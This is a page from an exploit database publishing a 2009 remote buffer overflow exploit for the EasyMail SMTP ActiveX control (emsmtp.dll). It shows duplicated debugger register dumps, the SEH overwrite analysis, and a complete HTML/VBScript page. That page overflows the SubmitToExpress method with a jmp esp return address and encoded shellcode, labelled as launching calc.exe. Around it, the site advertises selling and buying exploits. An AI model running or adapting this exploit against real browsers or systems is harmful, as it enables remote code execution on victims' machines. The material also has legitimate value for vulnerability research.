0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
EasyMail Objects EMSMTP.DLL 6.0.1 ActiveX Control Remote BOF
[======================================================================================
EasyMail Objects EMSMTP.DLL 6.0.1 ActiveX Control Remote Buffer Overflow Vulnerability
======================================================================================
# Title: EasyMail Objects EMSMTP.DLL 6.0.1 ActiveX Control Remote Buffer Overflow Vulnerability
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Will Dormann
# Published: 2009-11-12
# Verified: yes
view source
print?
<!-- Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object
(emsmtp.dll 6.0.1)
remote buffer overflow exploit
(ie6 / xp sp2 version)
passing more than 539 chars to SubmitToExpress method:
EAX 00000400
ECX 0013DD24 ASCII "Error Creating File: AAAA ...
EDX C0403FFF
EBX FFFFFFFF
ESP 0013D5E4
EBP 0013DD08
ESI 41414141
EDI 0013DD24 ASCII "Error Creating File: AAAA ...
EIP 06986256 emsmtp.06986256
...
CMP DWORD PTR DS:[ESI+180],1
Access violation when reading 414142C1
seh overwrite follows:
EAX 00000000
ECX 41414141
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D214
EBP 0013D234
<!-- Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object
(emsmtp.dll 6.0.1)
remote buffer overflow exploit
(ie6 / xp sp2 version)
passing more than 539 chars to SubmitToExpress method:
EAX 00000400
ECX 0013DD24 ASCII "Error Creating File: AAAA ...
EDX C0403FFF
EBX FFFFFFFF
ESP 0013D5E4
EBP 0013DD08
ESI 41414141
EDI 0013DD24 ASCII "Error Creating File: AAAA ...
EIP 06986256 emsmtp.06986256
...
CMP DWORD PTR DS:[ESI+180],1
Access violation when reading 414142C1
seh overwrite follows:
EAX 00000000
ECX 41414141
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D214
EBP 0013D234
ESI 00000000
EDI 00000000
EIP 41414141
and if we pass a readable address to ESI:
A*539 + esi + A*99999
we fall in a more convenient
situation:
EAX 00000000
ECX 0013DF7C ASCII "AAAA...
EDX 001835D0
EBX 00000000
ESP 0013DF68 ASCII "AAAA...
EBP 41414141
ESI 05542A08
EDI 05586250 ASCII "AAAA...
EIP 41414141
Object safety report:
RegKey Safe for Script: true
RegKey Safe for Init: true
vendor urls: http://www.postcastserver.com/
http://www.quicksoftcorp.com/
rgod.
site: http://retrogod.altervista.org
->
<html>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'
id='EasyMailSMTPObj' /></object>
<script language='vbscript'>
'open calc.exe
scode =
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
esi = unescape("%01%01%01%01")
ebp = "bbbb"
nop = string(16,unescape("%90"))
eip = unescape("%78%2c%41%7e") '0x7E412C78 jmp esp user32.dll
bof = string(539,"A") + esi + ebp + eip + nop + scode
EasyMailSMTPObj.SubmitToExpress bof
</script>
</html>
# 0day.today [2024-12-25] #